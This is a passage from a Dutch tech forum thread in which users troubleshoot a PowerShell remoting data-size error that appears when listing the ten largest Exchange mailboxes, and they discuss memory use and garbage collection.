-split gebruikt regex. (dus je kan meerdere karakters gebruiken).

Zoals hierboven ook gezegd werd, zelfde moment van reageren.

[ Voor 18% gewijzigd door SirDarkAngel op 09-06-2016 15:04 ]

Wilde altijd al iets over computers weten


Acties:
  • 0 Henk 'm!

  • Oogje
  • Registratie: Oktober 2003
  • Niet online
Ik kan me redelijk redden met powershell maar loop nu tegen een geheugenprobleempje aan waarbij ik zo 1,2,3, niet zie hoe ik dit kan omzeilen. De max van 52Mb voor een PS sessie is mn waterloo op het moment.

Ik heb een script en ergens daarin gebeurt dit:
PowerShell:
1
$mailboxsizes = get-mailbox -resultsize unlimited| Get-MailboxStatistics |Sort-Object TotalItemSize -Descending | Select-Object DisplayName,TotalItemSize -First 10


In mn testomgeving geen probleem maar in productie hebben we iets teveel mailboxen :+

Iemand enig idee hoe ik dit kan omzeilen/oplossen? Of een richting waar ik in moet gaan denken? Uiteindelijk wil ik de 10 grootste mailboxen ergens in een HTML duwen waar nog wat meer info over mn Exchange omgeving staat.

/edit: als ik het niet in $mailboxsizes wil stoppen krijg ik op mn scherm wel netjes de top10 te zien.

[ Voor 7% gewijzigd door Oogje op 06-07-2016 17:15 ]

Any errors in spelling, tact, or fact are transmission errors.


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Ik ken geen limiet van 52MB in PS. Ik draai soms scripts die boven de 3GB ram komen (echt enorme collecties) en het enige probleem wat ik weleens heb is dat ik handmatig de garbage collector aan moet roepen om memory op te schonen.

Acties:
  • 0 Henk 'm!

  • Oogje
  • Registratie: Oktober 2003
  • Niet online
Killah_Priest schreef op woensdag 06 juli 2016 @ 17:25:
Ik ken geen limiet van 52MB in PS. Ik draai soms scripts die boven de 3GB ram komen (echt enorme collecties) en het enige probleem wat ik weleens heb is dat ik handmatig de garbage collector aan moet roepen om memory op te schonen.
RAM is geen issue, die komt niet boven de 2GB.
Ik krijg deze melding:
Sending data to a remote command failed with the following error message: The total data received from the remote client exceeded allowed maximum. Allowed maximum is 524288000. For more information, see the about_Remote_Troubleshooting Help Topic
Ik voer t commando op 1 van de Exchange machines zelf uit.

Any errors in spelling, tact, or fact are transmission errors.


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Oogje schreef op woensdag 06 juli 2016 @ 17:27:
[...]

RAM is geen issue, die komt niet boven de 2GB.
Ik krijg deze melding:

[...]

Ik voer t commando op 1 van de Exchange machines zelf uit.
Wellicht dat je hier iets mee kunt : https://blogs.technet.mic...figure-powershell-memory/

Acties:
  • 0 Henk 'm!

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Killah_Priest schreef op woensdag 06 juli 2016 @ 17:25:
Ik ken geen limiet van 52MB in PS. Ik draai soms scripts die boven de 3GB ram komen (echt enorme collecties) en het enige probleem wat ik weleens heb is dat ik handmatig de garbage collector aan moet roepen om memory op te schonen.
Mijn record is 9GB. Hoe roep je die GC handmatig aan? Klinkt erg nuttig.
Pagina: 1 ... 5 ... 10 Laatste